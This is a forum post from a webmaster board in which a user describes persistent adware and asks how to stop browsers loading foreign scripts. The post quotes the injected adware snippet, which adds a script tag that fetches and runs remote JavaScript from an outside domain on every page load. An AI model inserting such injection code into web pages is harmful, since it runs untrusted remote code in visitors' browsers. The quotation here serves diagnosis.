Greenguy's Board


Go Back   Greenguy's Board > General Business Knowledge
Register FAQ Calendar Today's Posts

Reply
 
Thread Tools Search this Thread Rate Thread Display Modes
Old 2014-06-21, 07:50 AM   #1
ecchi
Banned
 
ecchi's Avatar
 
Join Date: Oct 2003
Location: About to be evicted!!!!
Posts: 4,082
Stopping The Download Of Additional Javascript To Pages.

Some time back I posted a thread about killing adware. I never got fully rid of the bastard, and it keeps re-downloading itself (I'm guessing this is being done with some free software I downloaded at some point). More annoyingly it keeps changing it's modus operandi, making it harder for me to find and kill.

It's latest trick is to add some javascript to the head of any website I visit thus:
Code:
<script>if(typeof window.__wsujs==='undefined'){window.__wsujs=8978;window.__wsujsn='MediaAds';window.__wsujss='4E65ACFB74B8CEBABA0748A9100EC8D5';} </script> 
						              <script>if(top == self){ 
							          var zhead = document.getElementsByTagName('head')[0]; 
							          if(!zhead){zhead = document.createElement('head');} 
							          var qscript = document.createElement('script'); 
							          qscript.setAttribute('id','wsh2_js'); 
							          qscript.setAttribute('src','http://jswrite.com/script1.js'); 
							          qscript.setAttribute('type','text/javascript');qscript.async = true; 
							          if(zhead && !document.getElementById('wsh2_js')) zhead.appendChild(qscript); 
						             } </script>
Is there any way I can set IE, Chrome, Firefox, etc to block the addition of javascript from any source other that the site I am visiting?

Thanks

Last edited by ecchi; 2014-06-21 at 07:51 AM.. Reason: Typo
ecchi is offline   Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 05:21 PM.


Mark Read
Powered by vBulletin® Version 3.8.1
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
© Greenguy Marketing Inc